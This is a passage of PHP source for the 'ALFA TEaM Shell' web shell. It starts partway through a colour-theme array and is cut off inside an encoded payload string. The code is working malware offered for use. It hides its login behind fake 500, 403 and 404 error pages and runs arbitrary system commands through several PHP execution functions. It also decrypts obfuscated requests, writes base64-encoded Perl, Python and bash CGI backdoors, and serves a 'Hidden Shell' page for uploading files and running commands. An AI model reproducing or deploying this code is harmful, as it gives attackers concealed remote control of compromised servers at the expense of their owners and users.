array(\r\n\t\t\t\t"input[type=text],textarea" => "border: 1px solid {color}",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"input_box_text" => array(\r\n\t\t\t"key_color" => "#999999",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"input[type=text],textarea" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"input_box:hover" => array(\r\n\t\t\t"key_color" => "#27979B",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"input[type=text]:hover,textarea:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"select_box_border" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"select" => "border: 1px solid {color}",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"select_box_text" => array(\r\n\t\t\t"key_color" => "#FFFFEE",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"select" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"select_box:hover" => array(\r\n\t\t\t"key_color" => "#27979B",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"select:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"button_border" => array(\r\n\t\t\t"key_color" => "#27979B",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"input[type=submit],.button,#addup" => "border: 1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"button:hover" => array(\r\n\t\t\t"key_color" => "#27979B",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"input[type=submit]:hover" => "box-shadow:0 0 4px {color};border:2px solid {color};",\r\n\t\t\t\t".button:hover,#addup:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"outputs_text" => array(\r\n\t\t\t"key_color" => "#67ABDF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".ml1" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"outputs_border" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".ml1" => "border: 1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader_border" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".inputfile" => "box-shadow:0 0 4px {color};border:1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader_background" => array(\r\n\t\t\t"key_color" => "#0E304A",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".inputfile strong" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader_text_right" => array(\r\n\t\t\t"key_color" => "#FFFFFF",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".inputfile strong" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader_text_left" => array(\r\n\t\t\t"key_color" => "#25ff00",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".inputfile span" => "color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader:hover" => array(\r\n\t\t\t"key_color" => "#27979B",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".inputfile:hover" => "box-shadow:0 0 4px {color};border:1px solid {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"uploader_progress_bar" => array(\r\n\t\t\t"key_color" => "#00ff00",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t".up_bar" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"mysql_tables" => "#00FF00",\r\n\t\t"mysql_table_count" => "#67ABDF",\r\n\t\t"copyright" => "#dfff00",\r\n\t\t"scrollbar" => array(\r\n\t\t\t"key_color" => "#1e82b5",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"*::-webkit-scrollbar-thumb" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n\t\t"scrollbar_background" => array(\r\n\t\t\t"key_color" => "#000115",\r\n\t\t\t"multi_selector" => array(\r\n\t\t\t\t"*::-webkit-scrollbar-track" => "background-color: {color};",\r\n\t\t\t)\r\n\t\t),\r\n);\r\n$GLOBALS[\'__file_path\'] = str_replace(\'\\\\\',\'/\',trim(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)));\r\n$config = array(\'AlfaUser\' => $GLOBALS[\'DB_NAME\'][\'user\'],\'AlfaPass\' => $GLOBALS[\'DB_NAME\'][\'pass\'],\'AlfaProtectShell\' => $GLOBALS[\'DB_NAME\'][\'safemode\'],\'AlfaLoginPage\' => $GLOBALS[\'DB_NAME\'][\'login_page\']);\r\n//@session_start();\r\n@session_write_close();\r\n@ignore_user_abort(true);\r\n@set_time_limit(0);\r\n@ini_set(\'memory_limit\', \'-1\');\r\n@ini_set("upload_max_filesize", "9999m");\r\nif($config[\'AlfaProtectShell\']){\r\n$SERVER_SIG = (isset($_SERVER["SERVER_SIGNATURE"])?$_SERVER["SERVER_SIGNATURE"]:"");\r\n$Eform=\'<form method="post"><input style="margin:0;background-color:#fff;border:1px solid #fff;" type="password" name="password"></form>\';\r\nif($config[\'AlfaLoginPage\'] == \'gui\'){\r\nif(@$_COOKIE["AlfaUser"] != $config[\'AlfaUser\'] && $_COOKIE["AlfaPass"] != md5($config[\'AlfaPass\'])){\r\nif(@$_POST["usrname"]==$config[\'AlfaUser\'] && @md5($_POST["password"])==$config[\'AlfaPass\']){\r\n__alfa_set_cookie("AlfaUser", $config[\'AlfaUser\']);\r\n__alfa_set_cookie("AlfaPass", @md5($config[\'AlfaPass\']));\r\n@header(\'location: \'.$_SERVER["PHP_SELF"]);\r\n}\r\necho \'\r\n<style>\r\nbody{background: black;}\r\n#loginbox { font-size:11px; color:green; right:85px; width:1200px; height:200px; border-radius:5px; -moz-boder-radius:5px; position:fixed; top:250px; }\r\n#loginbox td { border-radius:5px; font-size:11px; }\r\n</style>\r\n<title>~ ALFA TEaM Shell-v\'.__ALFA_VERSION__.\'-\'.__ALFA_CODE_NAME__.\' ~</title><center>\r\n<center><img style="border-radius:100px;" width="500" height="250" alt="alfa team 2012" draggable="false" src="http://solevisible.com/images/alfa-iran.png" /></center>\r\n<div id=loginbox><p><font face="verdana,arial" size=-1>\r\n<center><table cellpadding=\\\'2\\\' cellspacing=\\\'0\\\' border=\\\'0\\\' id=\\\'ap_table\\\'>\r\n<tr><td bgcolor="green"><table cellpadding=\\\'0\\\' cellspacing=\\\'0\\\' border=\\\'0\\\' width=\\\'100%\\\'><tr><td bgcolor="green" align=center style="padding:2;padding-bottom:4"><b><font color="white" size=-1 color="white" face="verdana,arial"><b>~ ALFA TEaM Shell-v\'.__ALFA_VERSION__.\'-\'.__ALFA_CODE_NAME__.\' ~</b></font></th></tr>\r\n<tr><td bgcolor="black" style="padding:5">\r\n<form method="post">\r\n<input type="hidden" name="action" value="login">\r\n<input type="hidden" name="hide" value="">\r\n<center><table>\r\n<tr><td><font color="green" face="verdana,arial" size=-1>Login:</font></td><td><input type="text" size="30" name="usrname" placeholder="username" onfocus="if (this.value == \\\'username\\\'){this.value = \\\'\\\';}"></td></tr>\r\n<tr><td><font color="green" face="verdana,arial" size=-1>Password:</font></td><td><input type="password" size="30" name="password" placeholder="password" onfocus="if (this.value == \\\'password\\\') this.value = \\\'\\\';"></td></tr>\r\n<tr><td><font face="verdana,arial" size=-1> </font></td><td><font face="verdana,arial" size=-1><input type="submit" value="Login"></font></td></tr></table>\r\n</div><br /></center>\';\r\nexit;\r\n}\r\n}elseif($config[\'AlfaLoginPage\']==\'500\'){\r\nif(@$_COOKIE["AlfaPass"] != @md5($config[\'AlfaPass\'])){\r\nif(@md5($_POST["password"])==$config[\'AlfaPass\']){\r\n__alfa_set_cookie("AlfaUser", $config[\'AlfaUser\']);\r\n__alfa_set_cookie("AlfaPass", @md5($config[\'AlfaPass\']));\r\n@header(\'location: \'.$_SERVER["PHP_SELF"]);\r\n}\r\necho \'<html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error or misconfiguration and was unable to complete your request.</p><p>Please contact the server administrator, \'.$_SERVER[\'SERVER_ADMIN\'].\' and inform them of the time the error occurred, and anything you might have done that may have caused the error.</p><p>More information about this error may be available in the server error log.</p><hr>\'.$SERVER_SIG.\'</body></html>\'.$Eform;\r\nexit;\r\n}\r\n}elseif($config[\'AlfaLoginPage\']==\'403\'){\r\nif(@$_COOKIE["AlfaPass"] != @md5($config[\'AlfaPass\'])){\r\nif(@md5($_POST["password"])==$config[\'AlfaPass\']){\r\n__alfa_set_cookie("AlfaUser", $config[\'AlfaUser\']);\r\n__alfa_set_cookie("AlfaPass", @md5($config[\'AlfaPass\']));\r\n@header(\'location: \'.$_SERVER["PHP_SELF"]);\r\n}\r\necho "<html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don\'t have permission to access ".$_SERVER[\'PHP_SELF\']." on this server.</p><hr>".$SERVER_SIG."</body></html>".$Eform;\r\nexit;\r\n}\r\n}elseif($config[\'AlfaLoginPage\']==\'404\'){\r\nif(@$_COOKIE["AlfaPass"] != @md5($config[\'AlfaPass\'])){\r\nif(@md5($_POST["password"])==$config[\'AlfaPass\']){\r\n__alfa_set_cookie("AlfaUser", $config[\'AlfaUser\']);\r\n__alfa_set_cookie("AlfaPass", @md5($config[\'AlfaPass\']));\r\n@header(\'location: \'.$_SERVER["PHP_SELF"]);\r\n}\r\necho "<title>404 Not Found</title><h1>Not Found</h1><p>The requested URL ".$_SERVER[\'PHP_SELF\']." was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr>".$SERVER_SIG."</body></html>".$Eform;\r\nexit;\r\n}\r\n}\r\n}\r\nfunction decrypt_post($str){\r\n\tif(__ALFA_POST_ENCRYPTION__){\r\n\t\t$pwd = __ALFA_SECRET_KEY__;\r\n\t\t$pwd = __ZW5jb2Rlcg($pwd);\r\n\t\t$str = __ZGVjb2Rlcg($str);\r\n\t\t$enc_chr = "";\r\n\t\t$enc_str = "";\r\n\t\t$i = 0;\r\n\t\twhile ($i < strlen($str)) {\r\n\t\t\tfor ($j = 0; $j < strlen($pwd); $j++) {\r\n\t\t\t\t$enc_chr = chr(ord($str[$i]) ^ ord($pwd[$j]));\r\n\t\t\t\t$enc_str .= $enc_chr;\r\n\t\t\t\t$i++;\r\n\t\t\t\tif ($i >= strlen($str))\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn __ZGVjb2Rlcg($enc_str);\r\n\t}else{\r\n\t\treturn __ZGVjb2Rlcg($str);\r\n\t}\r\n}\r\n\r\nfunction _AlfaSecretKey(){\r\n\t$secret = @$_COOKIE["AlfaSecretKey"];\r\n\tif(!isset($_COOKIE["AlfaSecretKey"])){\r\n\t\t$secret = uniqid(mt_rand(), true);\r\n\t\t__alfa_set_cookie("AlfaSecretKey", $secret);\r\n\t}\r\n\treturn $secret;\r\n}\r\nfunction alfa_getColor($target){\r\n\tif(isset($GLOBALS["DB_NAME"]["color"][$target])&&$GLOBALS["DB_NAME"]["color"][$target]!=""){\r\n\t\treturn $GLOBALS["DB_NAME"]["color"][$target];\r\n\t}else{\r\n\t\t$target = $GLOBALS["__ALFA_COLOR__"][$target];\r\n\t\tif(is_array($target)){\r\n\t\t\treturn $target["key_color"];\r\n\t\t}else{\r\n\t\t\treturn $target;\r\n\t\t}\r\n\t}\r\n}\r\nfunction alfaCssLoadColors(){\r\n\t$css = "";\r\n\tforeach($GLOBALS[\'__ALFA_COLOR__\'] as $key => $value){\r\n\t\tif(!is_array($value)){\r\n\t\t\t$value = alfa_getColor($key);\r\n\t\t\t$css .= ".{$key}{color: {$value};}";\r\n\t\t}else{\r\n\t\t\tif(isset($value["multi_selector"])){\r\n\t\t\t\tforeach($value["multi_selector"] as $k => $v){\r\n\t\t\t\t\t$color = alfa_getColor($key);\r\n\t\t\t\t\t$code = str_replace("{color}", $color, $v);\r\n\t\t\t\t\t$css .= $k."{".$code."}";\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $css;\r\n}\r\nif(isset($_POST[\'ajax\'])){\r\nfunction AlfaNum(){\r\n$args = func_get_args();\r\n$alfax = array();\r\n$find = array();\r\nfor($i=1;$i<=10;$i++){\r\n$alfax[] = $i;\r\n}\r\nforeach($args as $arg){\r\n$find[] = $arg;\r\n}\r\necho \'<script>\';\r\nforeach($alfax as $alfa){\r\nif(in_array($alfa,$find))\r\ncontinue;\r\necho \'alfa\'.$alfa."_=";\r\n}\r\necho \'""</script>\';\r\n}}\r\nfunction _alfa_cgicmd($cmd,$lang="perl",$set_cookie=false){\r\n\tif(!$GLOBALS["DB_NAME"]["cgi_api"]){\r\n\t\treturn "";\r\n\t}\r\n\tif(isset($_COOKIE["alfacgiapi_mode"])){\r\n\t\treturn "";\r\n\t}\r\n\t$cmd_pure = $cmd;\r\n\t$is_curl = function_exists(\'curl_version\');\r\n\t$is_socket = function_exists(\'fsockopen\');\r\n\tif($is_curl||$is_socket){\r\n\t\t$recreate = false;\r\n\t\tif(isset($_COOKIE["alfacgiapi"])){\r\n\t\t\tif(!@file_exists("alfacgiapi/".$_COOKIE["alfacgiapi"].".alfa")){\r\n\t\t\t\t$recreate = true;\r\n\t\t\t\t$lang = $_COOKIE["alfacgiapi"];\r\n\t\t\t}\r\n\t\t}\r\n\t\tif(!isset($_COOKIE["alfacgiapi"])||$recreate){\r\n\t\t\t@chdir(dirname($_SERVER["SCRIPT_FILENAME"]));\r\n\t\t\t$perl = \'jZFRT8IwFIXf/RXXOqWNsKoxPlAwRliERIbK9EUMGdsFGrYyt2Iky/ztdkMlJj74cpKee853k96Dfb7OUj6ViieYRgDQ6FdOtAr8iE99FcZS7a0zhEF/4DSb136GF+ciSaXSQDorpVHpht4k2ASN75ovdByN1VgRIWfUctynvPbg3D86I28ycLzesFsrAF+B3A1HHmF5vAFqyTpYS9wYffMjo1IxkaIf0pHX7buVYaRidYau57je5NZxb7xerWDiSipoQ5ZEUlN+xL/qs5UBBAvzAHoCtg3WgbFzM3u25Au0PyDj42MOfC7objfbkdpbUpmuwxkTZWhbO6S2zXjiB0tKAlKHBb5T65QxPkdRQv6RkioveQXYbSDjEwJyBjTEmVQY0p8pY7+TJVwU5bcalwRxSAqWby8RYrAKcTKtrvM1X2CwNAmbtJIUL4nINpnGmP4VrVDs+6otXhWK4hM=\';\r\n\t\t\t$py = "bZDBS8MwGMXPy19R66EtzhRk7DA3L1rxItOt3gajTb6twTQJydexIf7vJqvMiR5CyHvv93jk8iLvnM1roXJzwEYrgvYwIQPRGm0xYluB9W1/UVBVLSHNCOwZGPQpUzlHvqPaDX1sWFcOxiOy0baNZgGkjwIkX6K21RZSUDthtZp9JIvi9a1YluvnonyaPyST5GW+LJPPjLCWezIU0C3grpIdpIkXE281wN7/MYPsbWOFwii+1wpB4TUeDEwQ9pg32MqVXalwYiI2ka8L84/5fjGtxyMOTHNIj3XZVTw1Fu5iMmCNkHztkAs1jE4P3aFfoh012oC6Sf/WtDzLftGUSe3CBw4suE4G/ryOWqh4eo4E8cT0a3uSOrTC/KjxND+O/QI=";\r\n\t\t\t$bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";\r\n\t\t\tif($lang=="perl")$source = $perl;elseif($lang=="py")$source = $py;else $source = $bash;\r\n\t\t\talfaWriteTocgiapi($lang.".alfa",$source);\r\n\t\t\talfacgihtaccess(\'cgi\', "alfacgiapi/");\r\n\t\t}else{\r\n\t\t\t$lang = $_COOKIE["alfacgiapi"];\r\n\t\t}\r\n\t\t$cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=".__ZW5jb2Rlcg("cd ".$GLOBALS[\'cwd\'].";".$cmd);\r\n\t\tif($is_curl){\r\n\t\t\t$address = ($_SERVER[\'SERVER_PORT\'] == 443 ? "https://" : "http://").$_SERVER["SERVER_NAME"].dirname($_SERVER["REQUEST_URI"])."/alfacgiapi/".$lang.".alfa";\r\n\t\t\t$post = new AlfaCURL();\r\n\t\t\t$data = $post->Send($address, "post", $cmd);\r\n\t\t}elseif($is_socket){\r\n\t\t\t$server = $_SERVER["SERVER_NAME"];\r\n\t\t\t$uri = dirname($_SERVER["REQUEST_URI"])."/alfacgiapi/".$lang.".alfa";\r\n\t\t\t$data = _alfa_fsockopen($server,$uri,$cmd);\r\n\t\t}\r\n\t\t$out = "";\r\n\t\tif(strstr($data, "[solevisible~api]")){\r\n\t\t\tif($set_cookie){\r\n\t\t\t\t__alfa_set_cookie("alfacgiapi", $lang);\r\n\t\t\t}\r\n\t\t\tif(@preg_match("/<pre>(.*?)<\\/pre>/s", $data, $res)){\r\n\t\t\t\t$out = $res[1];\r\n\t\t\t}\r\n\t\t}elseif($lang=="perl"){\r\n\t\t\treturn _alfa_cgicmd($cmd_pure,"py",$set_cookie);\r\n\t\t}elseif($lang=="py"){\r\n\t\t\treturn _alfa_cgicmd($cmd_pure,"bash",$set_cookie);\r\n\t\t}else{\r\n\t\t\tif($set_cookie){\r\n\t\t\t\t__alfa_set_cookie("alfacgiapi_mode", "off");\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn trim($out);\r\n\t}else{\r\n\t\treturn "";\r\n\t}\r\n}\r\nfunction alfaGetCwd(){\r\n\tif(function_exists("getcwd")){\r\n\t\treturn @getcwd();\r\n\t}else{\r\n\t\treturn dirname($_SERVER["SCRIPT_FILENAME"]);\r\n\t}\r\n}\r\nfunction alfaEx($in,$re=false,$cgi=true,$all=false){\r\n\t$data = _alfa_php_cmd($in,$re);\r\n\tif(empty($data)&&$cgi||$all){\r\n\t\tif($GLOBALS[\'sys\']==\'unix\'){\r\n\t\t\tif(strlen(_alfa_php_cmd("whoami"))==0||$all){\r\n\t\t\t\t$cmd = _alfa_cgicmd($in);\r\n\t\t\t\tif(!empty($cmd)){\r\n\t\t\t\t\treturn $cmd;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\treturn $data;\r\n}\r\nfunction _alfa_php_cmd($in,$re=false){\r\n$out=\'\';\r\ntry{\r\nif($re)$in=$in." 2>&1";\r\nif(function_exists(\'exec\')){\r\n@exec($in,$out);\r\n$out = @join("\\n",$out);\r\n}elseif(function_exists(\'passthru\')) {\r\nob_start();\r\n@passthru($in);\r\n$out = ob_get_clean();\r\n}elseif(function_exists(\'system\')){\r\nob_start();\r\n@system($in);\r\n$out = ob_get_clean();\r\n} elseif (function_exists(\'shell_exec\')) {\r\n$out = shell_exec($in);\r\n}elseif(function_exists("popen")&&function_exists("pclose")){\r\nif(is_resource($f = @popen($in,"r"))){\r\n$out = "";\r\nwhile(!@feof($f))\r\n$out .= fread($f,1024);\r\npclose($f);\r\n}\r\n}elseif(function_exists(\'proc_open\')){\r\n$pipes = array();\r\n$process = @proc_open($in.\' 2>&1\', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);\r\n$out=@stream_get_contents($pipes[1]);\r\n}elseif(class_exists(\'COM\')){\r\n$alfaWs = new COM(\'WScript.shell\');\r\n$exec = $alfaWs->exec(\'cmd.exe /c \'.$_POST[\'alfa1\']);\r\n$stdout = $exec->StdOut();\r\n$out=$stdout->ReadAll();\r\n}\r\n}catch(Exception $e){}\r\nreturn $out;\r\n}\r\nfunction _alfa_fsockopen($server,$uri,$post){\r\n\t$socket = @fsockopen($server, 80, $errno, $errstr, 15);\r\n\tif($socket){\r\n\t\t$http = "POST {$uri} HTTP/1.0\\r\\n";\r\n\t\t$http .= "Host: {$server}\\r\\n";\r\n\t\t$http .= "User-Agent: " . $_SERVER[\'HTTP_USER_AGENT\'] . "\\r\\n";\r\n\t\t$http .= "Content-Type: application/x-www-form-urlencoded\\r\\n";\r\n\t\t$http .= "Content-length: " . strlen($post) . "\\r\\n";\r\n\t\t$http .= "Connection: close\\r\\n\\r\\n";\r\n\t\t$http .= $post . "\\r\\n\\r\\n";\r\n\t\tfwrite($socket, $http);\r\n\t\t$contents = "";\r\n\t\twhile (!@feof($socket)) {\r\n\t\t\t$contents .= @fgets($socket, 4096);\r\n\t\t}\r\n\t\tlist($header, $body) = explode("\\r\\n\\r\\n", $contents, 2);\r\n\t\t@fclose($socket);\r\n\t\treturn $body;\r\n\t}else{\r\n\t\treturn "";\r\n\t}\r\n}\r\nif(isset($_GET["solevisible"])){\r\n@error_reporting(E_ALL ^ E_NOTICE);\r\necho \'<html>\';\r\necho "<title>Solevisible Hidden Shell</title>";\r\necho "<body bgcolor=#000000>";\r\necho \'<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">\'.(function_exists(\'php_uname\')?php_uname():\'???\').\'</font></b></big>\';\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif($safe_mode){$r = "<b style=\'color: red\'>On</b>";}else{$r = "<b style=\'color: green\'>Off</b>";}\r\necho "<br><b style=\'color: #7CFC00\'>OS: </font><font color=white>" . PHP_OS . "</font><br>";\r\necho "<b style=\'color: #7CFC00\'>Software: </font><font color=white>" . $_SERVER [\'SERVER_SOFTWARE\'] . "</font><br>";\r\necho "PHP Version: <font color=white>" . PHP_VERSION . "</font><br />";\r\necho "PWD:<font color=#FFFFFF> " . str_replace("\\\\","/",@alfaGetCwd()) . "/<br />";\r\necho "<b style=\'color: #7CFC00\'>Safe Mode : $r<br>";\r\necho"<font color=#7CFC00>Disable functions : </font>";\r\n$disfun = @ini_get(\'disable_functions\');\r\nif(empty($disfun)){$disfun = \'<font color="green">NONE</font>\';}\r\necho"<font color=red>";\r\necho "$disfun";\r\necho"</font><br>";\r\necho "<b style=\'color: #7CFC00\'>Your Ip Address is : </font><font color=white>" . $_SERVER[\'REMOTE_ADDR\'] . "</font><br>";\r\necho "<b style=\'color: #7CFC00\'>Server Ip Address is : </font><font color=white>".(function_exists(\'gethostbyname\')?@gethostbyname($_SERVER["HTTP_HOST"]):\'???\')."</font><br><p>";\r\necho \'<hr><center><form onSubmit="this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));" action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">\';\r\necho \'CWD: <input type="text" name="cwd" value="\'.str_replace("\\\\","/",@alfaGetCwd()).\'/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>\';\r\nif(isset($_FILES[\'file\'])){\r\nif(@move_uploaded_file($_FILES[\'file\'][\'tmp_name\'], __ZGVjb2Rlcg(@$_POST[\'cwd\']).\'/\'.$_FILES[\'file\'][\'name\'])){echo \'<b><font color="#7CFC00"><center>Upload Successfully ;)</font></a><font color="#7CFC00"></b><br><br></center>\'; }\r\nelse{echo \'<center><b><font color="#7CFC00">Upload failed :(</font></a><font color="#7CFC0"></b></center><br><br>\'; }\r\n}\r\necho \'<hr><form onSubmit="this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));" method="POST">Execute Command: <input name="command_solevisible" value="" size="59" type="text" align="left" ><input name="execute" value="Execute" type="submit"><br></form>\r\n<hr><pre>\';\r\nif(isset($_POST[\'command_solevisible\'])){\r\nif(strtolower(substr(PHP_OS,0,3))=="win")$separator=\'&\';else $separator=\';\';\r\n$solevisible = "cd \'".addslashes(str_replace("\\\\","/",@alfaGetCwd()))."\'".$separator."".__ZGVjb2Rlcg($_POST[\'command_solevisible\']);\r\necho alfaEx($solevisible);\r\n}\r\necho\'</pre>\r\n</body></html>\';\r\nexit;}\r\n@error_reporting(E_ALL ^ E_NOTICE);\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'magic_quotes_runtime\', 0);\r\n@set_time_limit(0);\r\nif(function_exists(\'set_magic_quotes_runtime\')){\r\n@set_magic_quotes_runtime(0);\r\n}\r\nforeach($_POST as $key => $value){\r\nif(is_array($_POST[$key])){\r\n$i=0;\r\nforeach($_POST[$key] as $f) {\r\n$f = trim(str_replace(\' \', \'+\',$f));\r\n$_POST[$key][$i] = decrypt_post($f);\r\n$i++;\r\n}\r\n}else{\r\n$value = trim(str_replace(\' \', \'+\',$value));\r\n$_POST[$key] = decrypt_post($value);\r\n}\r\n}\r\n$default_action = \'FilesMan2\';//\'FilesMan\';\r\n$default_use_ajax = true;\r\n$default_charset = \'Windows-1251\';\r\nif(strtolower(substr(PHP_OS,0,3))=="win")\r\n$GLOBALS[\'sys\']=\'win\';\r\nelse\r\n$GLOBALS[\'sys\']=\'unix\';\r\n$GLOBALS[\'home_cwd\'] = @alfaGetCwd();\r\n$GLOBALS["need_to_update_header"] = "false";\r\n$GLOBALS[\'glob_chdir_false\'] = false;\r\nif(isset($_POST[\'c\'])){\r\nif(!@chdir($_POST[\'c\'])){\r\n\t$GLOBALS[\'glob_chdir_false\'] = true;\r\n}\r\n}\r\n$GLOBALS[\'cwd\'] = (isset($_POST[\'c\']) && @is_dir($_POST[\'c\']) ?$_POST[\'c\']:@alfaGetCwd());\r\nif($GLOBALS[\'glob_chdir_false\']){\r\n\t$GLOBALS[\'cwd\'] = (isset($_POST[\'c\']) && !empty($_POST[\'c\']) ? $_POST[\'c\'] : @alfaGetCwd());\r\n}\r\nif($GLOBALS[\'sys\'] == \'win\'){\r\n$GLOBALS[\'home_cwd\'] = str_replace("\\\\", "/", $GLOBALS[\'home_cwd\']);\r\n$GLOBALS[\'cwd\'] = str_replace("\\\\", "/", $GLOBALS[\'cwd\']);\r\n}\r\nif($GLOBALS[\'cwd\'][strlen($GLOBALS[\'cwd\'])-1] != \'/\' )$GLOBALS[\'cwd\'] .= \'/\';\r\nif(!function_exists(\'sys_get_temp_dir\')){function sys_get_temp_dir() {foreach (array(\'TMP\', \'TEMP\', \'TMPDIR\') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS[\'__file_path\'], \'\');if (_alfa_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}}\r\ndefine("ALFA_TEMPDIR", (function_exists("sys_get_temp_dir") ? (@is_writable(str_replace(\'\\\\\',\'/\',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable(\'.\')?\'.\':false)) : false));\r\nfunction alfahead(){\r\n$GLOBALS[\'__ALFA_SHELL_CODE\'] = \'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb